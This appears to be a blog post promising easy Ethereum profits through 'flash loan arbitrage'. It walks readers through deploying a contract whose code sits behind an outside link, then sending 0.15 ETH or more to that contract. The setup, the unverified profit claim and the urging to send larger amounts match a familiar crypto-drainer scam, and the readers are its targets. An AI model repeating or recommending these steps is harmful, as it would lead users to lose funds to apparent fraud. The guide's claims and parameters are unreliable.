Master DeFi Arbitrage: How I Earned 4 ETH using DeFi Trading
CryptoLord1012 min read·Just now--
This powerful technique to execute Ethereum arbitrage is known as “FLASH LOANS.” It is basically an uncollateralized loan that has gained huge popularity in decentralized finance, otherwise referred to as DeFi. They are equally risky, though, as they have been reported to be exploited in vulnerable DeFi protocols.
What Are Flash Loans?
Flash loans must be borrowed and returned within the same blockchain transaction. See here for more details: Flash Loan Explanation.
See video here for more details:
Step-by-Step Guide:
- Install Metamask Extension: Add Metamask to your browser.
- Open the Solidity Compiler: Open Remix IDE in your browser.
- Create a New File: Navigate to File Explorer, select “Create New File,” name it flashloan.sol, and paste the contract code from this link.
- Deploy & Run Transactions: Set the “ENVIRONMENT” to Injected Web3.
- Connect MetaMask Wallet: Make sure that your MetaMask wallet is connected.
- Select the Compiler Version: Click “Solidity Compiler” and then select version 0.5.0.
- Compile the Code: Hit “Compile flashloan.sol” and wait a while it compiles.
- Contract Deploy: Click “Deploy” after it has compiled.
- Transact & Confirm: Click “Transact”, confirm the transaction in MetaMask, and wait for confirmation.
- Copy Contract Address: Once deployed, copy the contract address
- Initiate the Swap: Send 0.15 ETH or more to the contract address. The higher the amount, the better the returned amount.
- Flash Loan: Click “Action” to execute the loan.
- Withdraw Profits: Click “Withdraw” to stop the bot and withdraw your earnings.
- Confirm & Transfer: Confirm the transaction in MetaMask. Once confirmed, check your wallet and transfer your ETH to another wallet.
Important Tips:
- If 0.15 ETH doesn’t work, try 0.3 ETH or more, as the gas fees change every day.
- Do not use less than 0.15 ETH because it could make the contract fail.
- If it fails, wait 5–10 minutes and try again with an 825 loan amount and a 31,560 gas limit. This will work for a smaller profit.
- Always send your ETH to a different wallet once you’re done.